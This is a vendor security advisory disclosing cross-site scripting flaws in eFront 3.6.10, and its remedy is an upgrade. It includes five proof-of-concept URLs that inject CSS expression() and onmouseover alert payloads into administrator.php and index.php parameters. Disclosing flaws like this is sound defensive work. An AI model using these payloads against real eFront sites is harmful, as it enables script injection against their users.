High severity XSS vulnerability in eFront detected by Invicti


Advisory by Netsparker (now Invicti)
Name: XSS Vulnerabilities in eFront
Software: eFront 3.6.10 build 11944 and possibly below.
Vendor Homepage: http://efrontlearning.net/
Vulnerability Type:  Cross-Site Scripting
Severity: High
Researcher: Canberk Bolat
Advisory Reference: NS-11-007


eFront is a modern learning system, bundled with key enterprise functionality ranging from skill-gap analysis and branch management to tailor-made reports. We have worked with hundreds of organizations to shape a product that is easy-to-use, feature rich, and especially suited for medium enterprises.


eFront is affected by XSS vulnerabilities in version 3.6.10 build 11944.
Example PoC urls are as follows:

  • http://example.com/administrator.php?ctg=%22%20stYle=%22x:expre/**/ssion(alert(9))%20&user=admin&op=dashboard
  • http://example.com/administrator.php?ctg=personal&user='%20stYle=x:expre/**/ssion(alert(9))%20ns='%20&op=dashboard
  • http://example.com/administrator.php?ctg=calendar&view_calendar=%22%20stYle=x:expre/**/ssion(alert(9))%20ns=%22
  • http://example.com/index.php?ctg=lesson_info&lessons_ID=2&course='%20stYle='x:expre/**/ssion(alert(9))
  • http://example.com/index.php/%22%20onmouseover=%22alert(netsparker(9))

You can read the full article about Cross-Site Scripting vulnerabilities from here: Cross-site Scripting


Upgrade to the latest eFront version (3.6.10 build 12151).


It has been discovered on testing of Invicti Web Application Security Scanner.


  1. Vendor URL: http://forum.efrontlearning.net/viewtopic.php?f=15&t=3501
  2. MSL Advisory Link: /XSS-Vulnerability-in-eFront/
  3. Invicti Advisories: /web-applications-advisories/

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.